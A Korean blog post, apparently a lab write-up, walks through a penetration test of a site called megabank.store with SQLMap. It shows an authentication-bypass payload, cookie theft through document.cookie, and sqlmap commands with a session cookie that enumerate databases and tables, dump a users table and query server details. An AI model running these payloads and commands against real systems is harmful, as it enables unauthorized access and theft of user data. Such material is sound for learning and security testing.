Notice
Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Archives
Today
Total
관리 메뉴

쟝이의 세상

SQLMap을 활용하여 모의해킹 본문

자료

SQLMap을 활용하여 모의해킹

zyangee 2024. 10. 15. 13:15

📌 SQLMap

: SQL Injection 취약점을 자동으로 탐지하고 악용하는 오픈소스 도구

→ 웹 애플리케이션의 데이터베이스 보안 테스트에 사용

주요 기능
1) 데이터베이스 버전 및 사용자 정보 조회
2) 테이블 및 데이터 추출
3) 파일 읽기 및 쓰기 (서버에서 권한이 있을 경우)
4) 취약점 탐지
5) HTTP 쿠키 및 세션 지원
6) 운영체제 명령 실행

 

✔️ SQL Injection 시도

ID: ' OR '1'='1
PW: ' OR '1'='1
입력하여 로그인 시도


SQL Injection을 통해 사용자 인증을 우회할 수 있으며, 데이터베이스에 있는 첫번째 사용자 (id=1인 사용자)의 정보로 로그인이 가능

= 공격자는 ID가 1번인 사용자의 권한으로 로그인

 

✔️ 로그인한 사용자의 쿠키 정보 가져오기

개발자도구 > Console > document.cookie 명령어를 통해 사용자의 쿠키 정보 탈취

 

✔️SQL Injection 취약점 탐지

sqlmap -u "http://megabank.store" --cookie="PHPSESSID=dtd504nopqibu10jden5f0os8k" --crawl=2 --dbs --forms

 

--dbs: 데이터베이스 정보 가져오기

--forms: HTML 폼에서 제출할 수 있는 모든 입력 필드를 스캔하도록 지시

--crawl=2: SQLMap이 지정한 URL을 기반으로 크롤링을 수행 (두 단계 깊이까지 연결된 페이지를 크롤링)

-> 데이터베이스 정보를 가져온 것을 확인할 수 있음

 

sqlmap -u "http://megabank.store" --cookie="PHPSESSID=dtd504nopqibu10jden5f0os8k" --crawl=2 --forms -D bank --tables

--tables: 데이터베이스의 테이블 목록 가져오기

-> bank 데이터베이스의 테이블을 모두 가져온 것을 확인할 수 있음

 

sqlmap -u "http://megabank.store" --cookie="PHPSESSID=dtd504nopqibu10jden5f0os8k" --crawl=2--forms -D bank --columns

--columns: 데이터베이스의 컬럼 가져오기

-> 일부만 가져왔지만 컬럼명, 데이터 타입 모두 확인 가능

 

sqlmap -u "http://megabank.store" --cookie="PHPSESSID=dtd504nopqibu10jden5f0os8k" --crawl=2 --forms -D bank -T users --dump

결과 값

-> 사용자의 모든 정보 추출 가능

 

✔️ 데이터베이스 버전 추출

sqlmap -u "http://megabank.store" --cookie="PHPSESSID=dtd504nopqibu10jden5f0os8k" --crawl=2 --forms --banner

--banner: 데이터베이스의 버전을 가져옴

-> 데이터베이스 버전을 가져온 것을 확인할 수 있음

데이터베이스 버전: MySQL 8.0.39

 

✔️ 데이터베이스 호스트명 및 버전 정보 추출

sqlmap -u "http://megabank.store" --cookie="PHPSESSID=dtd504nopqibu10jden5f0os8k" --crawl=2 --forms --sql-query "SELECT @@hostname, @@version"

--sql-query: 데이터베이스에 직접 SQL 쿼리를 실행

-> 호스트명과 버전 정보를 가져온 것을 확인할 수 있음

호스트명: ubuntu

 

✔️ DB 서버 정보 및 네트워크 설정 추출

sqlmap -u "http://megabank.store" --cookie="PHPSESSID=dtd504nopqibu10jden5f0os8k" --crawl=2 --forms --sql-query "SELECT @@hostname, USER(), @@global.server_id"

@@hostname: 현재 데이터베이스 서버의 호스트명 반환

USER(): 현재 데이터베이스 사용자 정보를 반환

이 함수는 로그인한 사용자 계정의 이름과 호스트 정보를 포함한다. (ex. username@hostname)

@@global.server_id: MySQL 서버의 글로벌 서버 ID를 반환

-> 호스트명: ubuntu

bankuser1이라는 사용자가 182.230.223.123 IP 주소를 통해 로그인 했음을 나타낸다.

글로벌 서버 ID기 1인 것을 보아 이 서버가 데이터 복제를 사용하는 환경에서 첫 번째 서버라는 의미이다.

 

👇🏻 DB 서버 주소는 아래 링크로 들어가기

https://zyangee.tistory.com/54

 

Metasploit을 활용하여 모의해킹

쟝이의 세상 Metasploit을 활용하여 모의해킹 본문 자료 Metasploit을 활용하여 모의해킹 zyangee 2024. 10. 25. 18:09

zyangee.tistory.com